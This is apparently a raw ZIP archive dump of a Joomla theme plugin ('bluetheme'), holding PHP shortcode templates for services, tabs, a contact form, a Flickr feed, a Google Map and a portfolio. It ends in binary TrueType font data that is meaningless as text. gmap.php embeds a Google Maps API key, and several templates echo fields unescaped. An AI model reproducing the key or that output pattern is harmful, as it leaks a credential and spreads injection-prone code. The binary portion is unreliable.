                    }
    				?>
                    
    				<div class="col-md-3 <?php echo 'btservice-'.$key; ?> mb <?php if($animate){if ($key == 0) {echo 'fadeInLeft';}elseif  ($key == (count($items)-1)){echo 'fadeInRight';}elseif ($key%2 == 0){echo 'fadeInRight';}else{echo 'fadeIn';}} ?>">
                        <div class="services_box text-center">
                            <div class="services_box text-center">
                                <div class="services_icon">
                                    <div class="icon_first icon_image" <?php if (!empty($extra_fields[0]->value)) echo 'style="background-image: url('.urldecode(JUri::base().$extra_fields[0]->value).');"'; ?>></div>
                                    <style type="text/css">
                                    div.<?php echo 'btservice-'.$key; ?> .services_box:hover .services_icon div{
                                        background-image: url('<?php echo JUri::base().$extra_fields[1]->value; ?>') !important;
                                    }
                                    </style>
                                </div>
                                <div class="services_content">
                                    <h1><?php echo $value->title; ?></h1>
        
                                    <?php echo $value->introtext ?>
                                </div>
                            </div>
                        </div>
                    </div>	
    			    <?php 
                    if ($key == (count($items)-1)){
                        echo '</div>';break;
                    }
                    if ($i == $d){echo '</div>';;$i =0;} ?>
    			<?php endforeach ;
            endif; ?>
            </div>
            </div>
            <div class="col-md-12 text-center services_slider_arrow content_pt mb">
                <a class="left" href="#services_slider" data-slide="prev"></a>
                <a class="right" href="#services_slider" data-slide="next"></a>
            </div>
            <?php if($full){ ?>
        </div>
    </div>
</section>
<?php } ?>
        PK!9�S���+bluetheme/assets/st_template/accordion1.phpnu&1i�<div class="<?php echo $hclass; ?>">
<?php if (!empty($title)): ?>
<h1><?php echo $title; ?></h1>
<?php endif; ?>
</div>
<div class="why_choose_us1 accordion2">
<div class="accordion">
    <?php foreach($tab_new_array as $key=>$item): ?>
    <h3><?php echo $item['title']; ?></h3>
    <div class="accordion_content">
       <?php echo do_shortcode($item['content']); ?>
    </div>
    <?php endforeach; ?>

</div>  
<div class="clear"></div>                    
</div>PK!o
E�11'bluetheme/assets/st_template/flickr.phpnu&1i�<?php
/**
 * ------------------------------------------------------------------------
 * ST Typo Plugin for J25 & J30
 * ------------------------------------------------------------------------
 * Copyright (C) 2013 cmsbluetheme All Rights Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: cmsbluetheme
 * Author Email: cmsbluetheme.com
 * Websites: http://www.cmsbluetheme.com
 * ------------------------------------------------------------------------
 */
defined('_JEXEC') or die;
$col = '';
if($column){
    $col = 'col-fl-'.$column;
}
?>
<div class="row">
    <div class="col-md-12">
        <?php if (!empty($title)) : ?>
            <div class="st-flickr-title"><h2><?php echo $title; ?></h2></div>
        <?php endif; ?>
        <?php if (!empty($description)) : ?>
             <div class="st-flickr-description"><h3><?php echo $description; ?></h3></div>
        <?php endif; ?>
    </div>
    <!-- /.col-md-12 -->
</div>
<!-- /.row -->
<div class="row">
    <div class="col-md-12">
        <div class="flickr-list-wrapper">
            <div id="<?php echo $callbackfx; ?>" class="flickr-list <?php echo(($align)? 'st-flickr-'.$align : '');?>" style="<?php echo (($containerwidth) ? 'width:' . ($containerwidth) . 'px;' : '');
                echo (($containerheight) ? 'height:' . ($containerheight) . 'px;' : ''); ?> text-align: center;">
            </div>
        </div>
        <!-- /.flickr-list-wrapper -->
    </div>
    <!-- /.col-md-12 -->
</div>
<!-- /.row -->

<?php
$image_size = 'image_' . $fixedwidth;
$doc = JFactory::getDocument();
$doc->addStyleSheet(JURI::base(true) . '/plugins/system/bluetheme/assets/css/flickrfeed.style.css');
$doc->addScript(JURI::base(true) . '/plugins/system/bluetheme/assets/js/jflickrfeed.js');
switch ($callbackfx) {
    case 'cycle' :
        $doc->addScript(JURI::base(true) . '/plugins/system/bluetheme/assets/js/jquery.easing.1.3.js');
        $doc->addScript(JURI::base(true) . '/plugins/system/bluetheme/assets/js/jquery.cycle.all.min.js');
 

        break;
    case 'cbox':
        $doc->addScript(JURI::base(true) . '/plugins/system/bluetheme/assets/js/jquery.colorbox-min.js');
        break;
}
$js = " jQuery(document).ready(function($){
            $('#{$callbackfx}').jflickrfeed({ 
        limit: $limit,";
if (empty($id)) {
    $js .=  "   flickrbase: 'http://api.flickr.com/services/feeds/',
                feedapi: 'photos_public.gne',
                qstrings: {
                    lang: 'en-us',
                    format: 'json',
                    jsoncallback: '?'
                },
           ";
} else {
    $js .=  "   qstrings : {
                    id: '$id'
                },
            ";
}
if ($callbackfx == 'nocallback') {
    $js .= "    useTemplate : false,
                itemCallback: function(item){
                    //jQuery(this).append('<li class=\"".$col. " st-flickr-li-item\"><img  " . (($imagewidth) ? 'width="' . ($imagewidth) . 'px"' : '') . (($imageheight) ? ' height="' . ($imageheight) . 'px"' : '') . " src='+item." . $image_size . "+' alt=\"\"/></li>');
                    $(this).append('<div class=\"".$col. " view\"><img alt=\"'+item.title+'\"  title=\"'+item.title+'\" class=\"img-responsive\" src='+item." . $image_size . "+'></div>');
                }
            ";
} else if ($callbackfx == 'cycle') {
    $js .="     useTemplate : true,
                //itemTemplate: '<li  style=\"" . (($containerwidth) ? 'width:' . ($containerwidth) . 'px;' : '') . (($containerheight) ? ' height:' . ($containerheight) . 'px;' : ' height:auto;') . "\"><img src=\'{{{$image_size}}}\'  " . (($imagewidth) ? 'width="' . ($imagewidth) . 'px"' : '') . (($imageheight) ? ' height="' . ($imageheight) . 'px"' : '') . " alt=\"{{title}}\" /><div>{{title}}</div></li>'
                itemTemplate: '<div class=\"view\"><img alt=\"\" class=\"img-responsive\" src=\'{{{$image_size}}}\'></div>'
            },
            function(data) {
                $('#cycle > div > div').hide();
                $('#cycle').cycle({
                    timeout: 5000,
                    fx:     'shuffle', 
                    easing: 'easeOutBack', 
                    delay:  -4000 
                });
                $('#cycle div').hover(function(){
                    $(this).children('div').show();
                },function(){
                    $(this).children('div').hide();
            });     ";
} else if ($callbackfx == 'cbox') {
    $js .= "    useTemplate : true,
                //itemTemplate: '<li class=\"".$col."\"><a rel=\"colorbox\" href=\'{{image_b}}\' title=\"{{title}}\"><img src=\'{{{$image_size}}}\' " . (($imagewidth) ? 'width="' . ($imagewidth) . 'px"' : '') . (($imageheight) ? ' height="' . ($imageheight) . 'px"' : '') . " alt=\"{{title}}\" /></a></li>'
                itemTemplate: '<div class=\"".$col. " view\"><a rel=\"colorbox\" href=\'{{image_b}}\' title=\"{{title}}\"><img alt=\"\" class=\"img-responsive\" src=\'{{{$image_size}}}\'></a></div>'
            }, function(data) {
                $('#cbox a').colorbox();
            ";
}
$js .=" });
    });";

$doc->addScriptDeclaration($js);

?>PK!G���yy,bluetheme/assets/st_template/article_box.phpnu&1i�<?php 
defined('_JEXEC') or die;
/*


*/
?>
<div class="st-article-box <?php echo $class; ?>">
	<div class="image">
	<?php if($type=='inside'){ ?>
		<a href="<?php echo $linkreadmore; ?>">
			<img src="<?php echo $linkimage; ?>" style="width:100%;" alt="">
			<div class="stmark-1">
				<h2><?php echo $item->title; ?></h2>
				<?php echo do_shortcode($item->introtext); ?>
				<a href="<?php echo $linkreadmore ?>" class="st-button">Read More</a>
			</div>
		</a>
	</div>
	<?php }else{ ?>
		<a href="<?php echo $linkimagefull; ?>" class="stmodal">
			<img src="<?php echo $linkimage; ?>" alt="" style="width:100%;">
			<div class="stmark"></div>
		</a>
	</div><!-- div.image -->
	<h3><?php echo $item->title; ?></h3>
	<?php echo do_shortcode($item->introtext); ?>
	<div class="readmore">
		<a class="st-button" href="<?php echo $linkreadmore; ?>">Read More</a>
	</div>
	<?php } ?>
</div>
PK!�Pu2��(bluetheme/assets/st_template/contact.phpnu&1i�<?php 
defined('_JEXEC') or die;
$doc = JFactory::getDocument();
$doc->addScript(JURI::root(true).'/plugins/system/bluetheme/assets/js/form-validation.js');
$app = JFactory::getApplication('site');
$componentParams = $app->getParams('com_blue_pagebuilder');
$style = $componentParams->get('style','1');
$params = $app->getTemplate(true)->params;
if($params->get('stateggcaptcha') == '1' && $params->get('captchasecret') && $params->get('captchasitekey')){
   $captcha = true;
}
else
    $captcha = false;
if(strtoupper(trim($sid)) == 'EN' || $sid == '1' || empty($sid)){
    $prefix_lang = '';
} else {
    $prefix_lang = '_' .strtoupper(trim($sid));
}
?>
<div class="leigie-contact <?php echo $title; ?>">
    <div class="contact-form-wrapper">
        
        <div class="notifications clearfix bt-clearfix">
            <div class="alert alert-error error text-center theme_btn color1 inverse support_widget clearfix" id="fname">
                <p style="color: red;"><?php echo JText::_('COM_BLUE_PAGEBUILDER_NAME_MUST_NOT_BE_EMPTY_TEXT' .$prefix_lang);?></p>
            </div>
            <div class="alert alert-error  error text-center theme_btn color1 inverse support_widget clearfix" id="fmail">
                <p style="color: red;"><?php echo JText::_('COM_BLUE_PAGEBUILDER_PLEASE_PROVIDE_A_VALID_EMAIL_TEXT' .$prefix_lang);?></p>
            </div>
            <div class="alert alert-error  error text-center theme_btn color1 inverse support_widget clearfix" id="fsubject">
                <p style="color: red;"><?php echo JText::_('COM_BLUE_PAGEBUILDER_PLEASE_PROVIDE_A_VALID_SUBJECT_TEXT' .$prefix_lang);?></p>
            </div>
            <div class="alert alert-error  error text-center theme_btn color1 inverse support_widget clearfix" id="fmsg">
                <p style="color: red;"><?php echo JText::_('COM_BLUE_PAGEBUILDER_MESSAGE_SHOULD_NOT_BE_EMPTY_TEXT' .$prefix_lang);?></p>
            </div>
            <div class="alert alert-error  error text-center theme_btn color1 inverse support_widget clearfix" id="frecaptcha">
                <p style="color: red;"><?php echo JText::_('COM_BLUE_PAGEBUILDER_CAPTCHA_NOT_VALIDATED' .$prefix_lang);?></p>
            </div>
            <div class="contact-success-message alert alert-success success text-center theme_btn inverse color3"></div>
        </div>

        <form name="myform" id="contact-form" class="form-inline contact-margin" action="index.php?option=com_blue_pagebuilder&amp;task=page.contact&amp;tmpl=component" enctype="multipart/form-data" method="post">     
            <!--Name and Email Field Box-->
            <div class="row">
                <div class="col-md-6 col-sm-12 col-xs-12 form-group">
                    <input id="name" class="form-control" type="text" name="name" placeholder="<?php echo JText::_('COM_BLUE_PAGEBUILDER_YOUR_NAME_TEXT' .$prefix_lang);?>"/>
                </div>
                <div class="col-md-6 col-sm-12 col-xs-12 form-group">
                    <input id="email" class="form-control" type="text" name="email" placeholder="<?php echo JText::_('COM_BLUE_PAGEBUILDER_VALID_EMAIL_ID_TEXT' .$prefix_lang);?>"/>
                </div>
            </div>
            <div class="row">
                <div class="col-md-6 col-sm-12 col-xs-12 form-group">
                    <input id="phone" class="form-control" type="text" name="phone" placeholder="<?php echo JText::_('COM_BLUE_PAGEBUILDER_YOUR_PHONE_TEXT' .$prefix_lang);?>"/>
                </div>
                <div class="col-md-6 col-sm-12 col-xs-12 form-group">
                    <input id="subject" class="form-control" type="text" name="subject" placeholder="<?php echo JText::_('COM_BLUE_PAGEBUILDER_SUBJECT_TEXT' .$prefix_lang);?>"/>
                </div>
            </div>
            <div class="row">
                <div class="col-xs-12 col-md-12">
                    <textarea id="message" class="form-control"  name="message" placeholder="<?php echo JText::_('COM_BLUE_PAGEBUILDER_YOUR_MESSAGE_TEXT' .$prefix_lang);?>" ></textarea>
                </div>
            </div>

            <?php if($captcha): ?>
            <div class="row">
                <div class="col-xs-12 col-md-12">
                    <script src='https://www.google.com/recaptcha/api.js'></script>
                    <div class="g-recaptcha" data-sitekey="<?php echo $params->get('captchasitekey'); ?>"></div>
                </div>
            </div>
            <?php endif; ?>

            <div class="row">
                <div class="col-xs-12 col-md-12">
                    <button id="submit_btn"><?php echo JText::_('COM_BLUE_PAGEBUILDER_BTN_SUBMIT' .$prefix_lang); ?></button>
                </div>
            </div>

            <input type="hidden" class="thank" name="thanks" value="<?php echo (!empty($thanks)? $thanks : ''); ?>" />
            <input type="hidden" class="emailauthor" name="emailauthor" value="<?php echo (!empty($email)? $email : ''); ?>" />

        </form>
        
    </div>
</div>PK!w'� ��%bluetheme/assets/st_template/tabs.phpnu&1i�<?php 
defined('_JEXEC') or die;
?>

<?php if($position=="style2"){ ?>
<div class="box-section vertical-tab-section triggerAnimation animated" data-animate="lightSpeedIn">
<?php if(!empty($title)): ?>
    <h2><?php echo $title; ?></h2>
    
    <?php endif; ?>
    <div class="vertical-tabs-box">
    	<ul class="nav nav-tabs" id="myTab">
    	<?php foreach($tab_new_array as $key=>$item){ ?>
    		<li class="<?php if($key ==0) echo 'active'; ?>">
    			<a href="#vtabs2-<?php echo $id.$key; ?>" data-toggle="tab"><?php echo $item['title']; ?></a>
    		</li>
    	<?php } ?>
    	</ul>
    	<div class="tab-content">
    	<?php foreach($tab_new_array as $key => $item){ ?>
    		<div class="tab-pane <?php if($key ==0) echo 'active'; ?>" id="vtabs2-<?php echo $id.$key; ?>">
    			<?php echo do_shortcode($item['content']); ?>
    		</div>
    	<?php } ?>
    	</div>
    </div>
</div>
<?php }else if($position=="style1"){ ?>
<!-- horizontal tab section 
				================================================== -->
<div class="style1 general_wrapper clearfix box-section horizontal-tab-section triggerAnimation animated" data-animate="flipInX">
	<?php if(!empty($title)): ?>
    <h2><?php echo $title; ?></h2>
    <?php endif; ?>
	<div class="horizontal-tabs-box triggerAnimation animated" data-animate="bounceIn">
		<!-- Nav tabs -->
		<ul class="nav nav-tabs" id="myTab2">
            <?php foreach($tab_new_array as $key=>$item){ 
                $string = md5(do_shortcode($item['title']));
                $class_sub = substr($string, 5,3);

                $icon_array = explode('|', do_shortcode($item['title']));
                if(count($icon_array) > 1){
                    $icon = '<i class="' .$icon_array[0] .'"></i> ';
                    $title_sub = $icon_array[1];
                }
                else{
                    $icon = '';
                    $title_sub = do_shortcode($item['title']);
                }
            ?>
			<li class="<?php if($key ==0) echo 'active';?>"><a href="#resp-<?php echo $class_sub; ?>-<?php echo str_replace(' ','_',$title).$key;?>" data-toggle="tab"><span><?php echo $icon; ?><?php echo $title_sub; ?></span></a></li>
			<?php } ?>
        </ul>
        
		<div class="tab-content">
            <?php foreach($tab_new_array as $key=>$item){ 
                $string = md5(do_shortcode($item['title']));
                $class_sub = substr($string, 5,3);
            ?>
			<div class="clearfix tab-pane <?php if($key ==0) echo 'active';?>" id="resp-<?php echo $class_sub; ?>-<?php echo str_replace(' ','_',$title).$key;?>">
				<?php echo do_shortcode($item['content']); ?>
            </div>
			<?php } ?>
		</div>
	</div>
</div>
<!-- End horizontal tab section -->

<?php }else if($position=='accordion'){ 
    $id = rand();
?>
<div class="style-accordion panel-group" id="accordion<?php echo $id; ?>">
    <?php foreach($tab_new_array as $key=>$item){ 
        $enc_num = rand(1, 9);
        $string = md5($item['title']);
        $class_sub = substr($string, $enc_num,3);

        $icon_array = explode('|', $item['title']);
        if(count($icon_array) > 1){
            $icon = '<i class="' .$icon_array[0] .'"></i> ';
            $title_sub = $icon_array[1];
        }
        else{
            $icon = '';
            $title_sub = $item['title'];
        }
    ?>
    <div class="panel panel-default">
        <div class="panel-heading">
          <h4 class="panel-title">
            <a data-toggle="collapse" data-parent="#accordion<?php echo $id; ?>"  href="#collapse-<?php echo $class_sub; ?>-<?php echo str_replace(' ','_',$title).$key;?>">
              <?php echo $title_sub; ?>
            </a>
          </h4>
        </div>
        <div id="collapse-<?php echo $class_sub; ?>-<?php echo str_replace(' ','_',$title).$key;?>" class="panel-collapse collapse <?php echo ($key==0)?"in":""; ?>">
          <div class="panel-body">
            <?php echo do_shortcode($item['content']); ?>
          </div>
        </div>
      </div>
    <?php } ?>
</div>
<?php } ?>PK!�!��)bluetheme/assets/st_template/pricing1.phpnu&1i�<?php
defined('_JEXEC') or die;
$description = explode('|', $description);
?>
<div class="pricing_table2">
    <div class="pricing_table2_head text-center">
        <h1><?php echo $title;?></h1>

        <span class="montg"><?php echo $time;?></span>
        <span class="rate"><?php echo $price;?></span>
    <div class="clear"></div>
    </div>

    <div class="pricing_table2_content">
        <ul>
            <?php foreach($description as $value): ?>
			<li><?php echo $value;?></li>
		<?php endforeach?>
        </ul>
    </div>

    <div class="pricing_table2_button text-center">
        <a href="<?php echo $link_button;?>" class="button"><?php echo $text_button;?></a>
    </div>
</div>PK!:lE��%bluetheme/assets/st_template/gmap.phpnu&1i�<?php 
defined('_JEXEC') or die;
JHtml::_('script', 'https://maps.googleapis.com/maps/api/js?key=AIzaSyCkiUd9zmEU7_T0bBRtjOKnJTVULcrR5FQ
');
JHtml::_('script', 'plugins/system/bluetheme/assets/js/jquery.ui.map.min.js');
$enc_num = rand(1, 15);
$title_1 = $enc_num .$title;
$class_gmaps = 'map_canvas_' .substr(md5($title_1), $enc_num,3)
?>
<div class="map bt-maps">
	<div id="<?php echo $class_gmaps; ?>" class="map rounded <?php echo $class; ?>" style="width:100%;height:<?php echo $height; ?>px;"></div>
</div>
<?php  
	$js = 	"jQuery(document).ready(function($) {
				$('#" .$class_gmaps ."').each(function(e){
					var stmapdefault = '{$latitude},{$longitude}';
					var marker = {position:stmapdefault}
					$(this).gmap({
						'zoom': $zoom ,
						'center': stmapdefault,
						'mapTypeId':google.maps.MapTypeId.{$maptype}  ,
						'callback': function() {
							var self = this;
							self.addMarker(marker).click(function(){
								self.openInfoWindow({'content': '{$title}'}, this);
							});
						},
						panControl: $pancontrol,
						zoomControl: $zoomcontrol,
						mapTypeControl: $maptypecontrol,
						streetViewControl: $streetcontrol,
						scrollwheel:$scrollwheel
					});	

					$(window).resize(function(){
						var stct = new google.maps.LatLng('{$latitude}','{$longitude}');
						$(this).gmap('option', 'center', stct);
					});
				});
			});
			
		";
	$st->doc->addScriptDeclaration($js);
?>PK!~ �e��/bluetheme/assets/st_template/portfolio_list.phpnu&1i�<?php 
//$app = JFactory::getApplication();
//$doc = JFactory::getDocument();
//$menu = $app->getMenu();
//$item = $menu->getItem( $menuid );
//$menu_link = JRoute::_($item->link.'&Itemid='.$menuid);
$app = JFactory::getApplication();
$doc = JFactory::getDocument();

$menu = $app->getMenu();
$itemid   = $app->input->getCmd('Itemid', '');
$active = $menu->getItem($itemid);
$params = $menu->getParams( $active->id );
$pageclass = $params->get( 'pageclass_sfx' );

$item_menu = '';
if ($menuid != '') {
  (int)$itemid = $menuid;
   $item_menu = '&amp;Itemid='.$itemid;
}
?>
<section class="portfolio-list">
<?php
$i = 0;
if(isset($catItems) && count($catItems)): foreach($catItems as $key=> $item): ?>
    <?php
        $image_normal = JURI::base() .'media' . '/' . 'k2' . '/'  . 'items' . '/'  . 'cache' . '/'  . md5("Image" . $item->id) . '_L.jpg';
        $link = 'index.php?option=com_k2&amp;view=item&amp;id='.$item->id.':'.$item->alias .$item_menu ;
        
        $tag_name = array();
        $tag_name_1 = array();
        $itemTags = $K2ModelItem->getItemTags($item->id);
        if(isset($itemTags) && count($itemTags)) {
            foreach ($itemTags as $itm=>$tag_item) {
                $tName = str_replace(" ", "_", $tag_item->name);
                $tag_name[] = strtolower($tName);
                $tName_1 = $tag_item->name;
                $tag_name_1[] = $tName_1;
            }
            $tags_filter_ar = array_unique($tag_name);
            $tags_filter = implode(" ", $tags_filter_ar);
        }
        else
            $tags_filter = '';
        $string_tags = implode(', ', $tag_name_1);
    ?>
    <div class="<?php echo $col['class']; ?> text-center">
        <div class="project-wrap"> 
            <img src="<?php echo $image_normal; ?>" alt="<?php echo $item->title; ?>" class="img-responsive"> 
            <a class="overlay text-center" href="<?php echo  JRoute::_($link); ?>">
                <div class="overlay-inner">
                    <h4><?php echo $item->title; ?></h4>
                    <div class="line"></div>
                    <p><?php echo $string_tags; ?></p>
                </div>
            </a> 
        </div>
    </div>
    <?php endforeach; endif; ?>
</div>PK!l�T�OO%bluetheme/assets/st_template/html.phpnu&1i�<?php 
defined('_JEXEC') or die;
echo do_shortcode(rawurldecode($content));
?>
PK!Tua�ii3bluetheme/assets/st_template/slider_bt_carousel.phpnu&1i�<?php 
defined('_JEXEC') or die;
?>
<!-- thumb-carousel : starts -->
<?php

$random = rand();
$items = count($ig_new_array);
$d = 3;
?>

<div id="carousel-example-generic" class="carousel slide <?php echo $sclass; ?>">
    <ol class="carousel-indicators">        
        <?php $i = 0; foreach($ig_new_array as $key=>$item):
            $i++;
            if ($key == 0) 
                $btactive = 'active';
            else
            $btactive = "";
        ?>
            <li data-target="#carousel-example-generic" data-slide-to="<?php echo $key; ?>" class="<?php echo $btactive; ?>"></li>
        <?php endforeach; ?>
    </ol>
    <div class="carousel-inner">
        <?php $i = 0; foreach($ig_new_array as $key=>$item):
            $i++;
            if ($key == 0) 
                $btactive = 'active';
            else
            $btactive = "";               
        ?>
            <div class="item <?php echo $btactive; ?>">
                <img src="<?php echo JURI::base() .'' .trim($item['content']); ?>" alt="">
                <div class="carousel-caption">
                    <span class="title"><?php echo trim($item['title']); ?></span>
                    <p class="desc"><?php echo trim($item['desc']); ?></p>
                </div>
            </div>
        <?php endforeach; ?>
    
    </div>
            
    <!-- Controls -->
    <a class="left carousel-control" href="#carousel-example-generic" data-slide="prev">
        <span class="icon-prev"></span>
    </a>
    <a class="right carousel-control" href="#carousel-example-generic" data-slide="next">
        <span class="icon-next"></span>
    </a>
</div>PK!�D��

*bluetheme/assets/st_template/services1.phpnu&1i�<?php defined('_JEXEC') or die;

?>
<section class="sercice_wrap content_pb" <?php if (!empty($bg_image)) echo 'style="background-image: url('.JUri::root().$bg_image.');"'; ?>>
    <div class="container">
        <div class="row content_pb">
            <?php if(!empty($title)): ?>
            <div class="col-md-12 content_pt content_pb">
                <div class="<?php echo $hclass; ?> wow">
            	<h1><?php echo $title; ?></h1>
            </div>
            </div>
            <?php endif; ?>
    		<?php
    		if(isset($items)) :
    			foreach($items as $key=>$value):
    				$extra_fields = json_decode($value->extra_fields);
    				
    				?>
    				<div class="col-md-3 <?php echo 'btservice-'.$key; ?> mb <?php if($animate){if ($key == 0) {echo 'wow fadeInLeftBig';}elseif  ($key == (count($items)-1)){echo 'wow fadeInRightBig';}elseif ($key%2 == 0){echo 'wow fadeInRight';}else{echo 'wow fadeInLeft';}} ?>">
                        <div class="services_box text-center">
                            <div class="services_icon">
                                <div class="icon_first icon_image" <?php if (!empty($extra_fields[0]->value)) echo 'style="background-image: url('.urldecode(JUri::base().$extra_fields[0]->value).');"'; ?>></div>
                                <style type="text/css">
                                div.<?php echo 'btservice-'.$key; ?> .services_box:hover .services_icon div{
                                    background-image: url('<?php echo JUri::base().$extra_fields[1]->value; ?>') !important;
                                }
                                </style>
                            </div>
                            <div class="services_content">
                                <h1><?php echo $value->title; ?></h1>
    
                                <?php echo $value->introtext ?>
                            </div>
                        </div>
                    </div>	
    			
    			<?php endforeach ;
            endif; ?>
        </div>
    </div>
</section>
        PK! g=��(bluetheme/assets/st_template/blog_v1.phpnu&1i�<?php 
//$app = JFactory::getApplication();
//$doc = JFactory::getDocument();
//$menu = $app->getMenu();
//$item = $menu->getItem( $menuid );
//$menu_link = JRoute::_($item->link.'&Itemid='.$menuid);
$app = JFactory::getApplication();
$doc = JFactory::getDocument();

$menu = $app->getMenu();
$itemid   = $app->input->getCmd('Itemid', '');
$active = $menu->getItem($itemid);
$params = $menu->getParams( $active->id );
$pageclass = $params->get( 'pageclass_sfx' );

$item_menu = '';
if ($menuid != '') {
	(int)$itemid = $menuid;
	$item_menu = '&amp;Itemid='.$itemid;
}
?>

<?php if(isset($catItems) && count($catItems)) : foreach($catItems as $key=> $item): ?>
	<?php
		$image_normal = $bt->getImageK2($item->id, 'XL');
        $link = 'index.php?option=com_k2&amp;view=item&amp;id='.$item->id.':'.$item->alias .$item_menu ;
        if( $key%2 == 1 ){
        	$class_float = 'pull-right';
        } else {
        	$class_float = '';
        }
	?>
	<section class="info-section index_5">
		<div class="row">
		    <div class="col-md-6 col-xs-12 block <?php echo $class_float; ?>"> 
		      <div class="bg" style="background-image: url(<?php echo $image_normal; ?>)"></div>
		    </div>
		    <div class="col-md-6 col-xs-12 block"> 
		        <div class="center text-center">
			        <h2><a href="<?php echo  JRoute::_($link); ?>"><?php echo $item->title; ?></a></h2>
			        
					<div class="introtext">
						<?php echo $item->introtext; ?>
					</div>
			        <a class="btn-black bounce-top" href="<?php echo  JRoute::_($link); ?>"><?php echo JText::_('K2_READ_MORE'); ?></a>
		        </div>
		    </div>		     
		 </div>
	</section>
<?php endforeach; endif; ?>PK!����'bluetheme/assets/st_template/module.phpnu&1i�<?php 
defined('_JEXEC') or die;
?>
<div class="st-module module <?php echo $moduleclass; ?>" id="Mod<?php echo $module->id; ?>">
	<div class="module-inner">
		<?php if ($showtitle != 0) : ?>
			<h1 class="module-title <?php echo $hclass; ?>">
				<?php echo $module->title; ?>
			</h1>
		<?php endif; ?>
		<div class="module-ct">
			<?php echo $module->content; ?>
		</div>
	</div>
</div>PK!�
pP��*bluetheme/assets/st_template/accordion.phpnu&1i�<?php
   $id = rand();
?>
<div class="style-accordion panel-group" id="accordion<?php echo $id; ?>">
    <?php foreach($tab_new_array as $key=>$item){ 
        $enc_num = rand(1, 9);
        $string = md5($item['title']);
        $class_sub = substr($string, $enc_num,3);

        $icon_array = explode('|', $item['title']);
        if(count($icon_array) > 1){
            $icon = '<i class="' .$icon_array[0] .'"></i> ';
            $title_sub = $icon_array[1];
        }
        else{
            $icon = '';
            $title_sub = $item['title'];
        }
    ?>
    <div class="panel panel-default">
        <div class="panel-heading">
          <h4 class="panel-title">
            <a data-toggle="collapse" data-parent="#accordion<?php echo $id; ?>"  href="#collapse-<?php echo $class_sub; ?>-<?php echo str_replace(' ','_',$title).$key;?>">
              <?php echo $title_sub; ?>
            </a>
          </h4>
        </div>
        <div id="collapse-<?php echo $class_sub; ?>-<?php echo str_replace(' ','_',$title).$key;?>" class="panel-collapse collapse <?php echo ($key==0)?"in":""; ?>">
          <div class="panel-body">
            <?php echo do_shortcode($item['content']); ?>
          </div>
        </div>
      </div>
    <?php } ?>
</div>
PK!.���99bluetheme/assets/index.htmlnu&1i�<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Untitled Document</title>
</head>

<body>
</body>
</html>
PK!��t�001bluetheme/assets/fonts/Nexa/nexa_bold-webfont.ttfnu&1i�0FFTMf���<GDEFX GPOSN��Pxu�GSUBl�t�w OS/2w�w$`cmapt���w��cvt 6�yx4fpgmS�/�y�egasp|glyf��|��head���6hhea��	4$hmtx�$�	X�loca�_���maxp�� nameO�x��Rpost-$4�prep����*webf�RX(�=���/|�}��
,latn��kernno&�t�������t:dz�������Pz�&����D��		�

,
F
�
�8b`�
lB����Hf�,6<n�������������������
,
,
,
,
,
,````T�������&HHHH,,,,���������&$��%&!-��0!7<=��D��EHI!K!OS!UW!����������������������!���������������������������1B!��!1!L���B!��������%&��(P)/2��3�/4��5�P6�o7�8�/9!:�1<��D/EF��GJ��M/R��T��V��W�X��Y�PZ�?[\��]������P�P�P�P��������������������/��/��/��/����/�/�/�/�/�/�/�����������������������������������������������W++9=?D/F��G/H/KL!MPN/O!P]1�/�/�/�/�/�/�/����/�/�/�/�!�!�!�!1%/&��7�q9/<�=PD1E/F��G1H!J��K/M?N/OBR��S?T��W�`Y�PZ��[!\�]1������1�1�1�1�1�1�1����!�!�!�!��������������������������J$�%`0`7P8`9`:P;P<`=/DqEPF��GqH?I/JK?LBNPOBP1R��S?T��WqXPYPZq[?\q]P���������������`�`�`�`�`�q�q�q�q�q�q�q����?�?�?�?�B�B�B�B�������������������P�P�P�P�q�q����`��+��++?++������������+����������8?=?J!V?X1Y��\���?�?�?�?�1�1�1�1������(?4?7P9`J/\���?�?�?�?������
%!-��D�����������������������)��3��5��7��8��9��D��J��M��QS/UP\������������������������������������������*��-��4��57�+9�+:�BG��I��J+T��W��Y��Z��[B')*-+24+6+9��:��<��JKY������������)���+?.B0+3+5?7+JK+P+W+Z+
)+4+7��9��:��;��KM+P+Z+-7T9:MT[+*+,2+7?9?<?I+�����+�+�+�+�+�+�?�+�?5��7��9��:��<��H\�����������������-7B:+;��D��H��J��M��Q��R��X�����������������������������������������������������������������������92��4��5��8��D��F��G��H��J)P��Q��R��T��V��W��X��Y��Z��\��]�����������������������������������������������������������������������������������������������������������������7�+9�+:�+J+	:��D�������4+7��9��:��;��E&:��;��<��D��F��G��H��J��R��T��U��WY+Z+\+����������������������������������������������������������+�+�����7��9��:��<�������6?7?8+=KMVUZ+\T�+�+�+�+�T�T
J?KNPST)U)WY��Z��?�8+9B:B<V=+D�F�G�H��I��J�L��P�Q�R��S�T�U�+V�W��X�Y�+Z�B[�?\�B]�V�+�+�+�+�V����������������������������������������������������������������������B��B����V
:��;��G��J��K��N��P��S��T��U��Y��Z��[��5D�TF�TG�VH�?I��J�+K��L��N��P�jQ�jR�?S�jT�VU�jV�jW��X�jY��Z��[��\��]�j��T��T��T��T��T��T��T��T��?��?��?��?��������������j��?��?��?��?��?��?��j��j��j��j��������?5<VD�VF�TG�VH�VJ�TK��L��P��Q��R�?S��T�VU��V��W��X�Z��[��\��]���V��V��V��V��V��V��V��V��T��V��V��V��V�����������������?��?��?��?��?��?����������������?�VG��H��J+MmR��W��Y��Z��\�����������������������������������������G�I��J�K��N��P�VS�TT�U�TY��Z��[��JBE��M+W��Y��Z��P��W��Y��Z��\��]��������JT)HM+X��Z������������������K��N��P��W��Y��Z��[��7+9?:T<+J��L��Q��R��U��V��X��[���+�������������������������������������������������+KMYZ[?\��
X��Y��Z��\��������������������-V[+.R��Y+\+�������������������+�+���S��W��X��Y��Z��\��������������������W��Y��Z��W��Y��Z��[��W?XY?Z+[+\?�����?�?Z?[+\+�+�+[+\]����
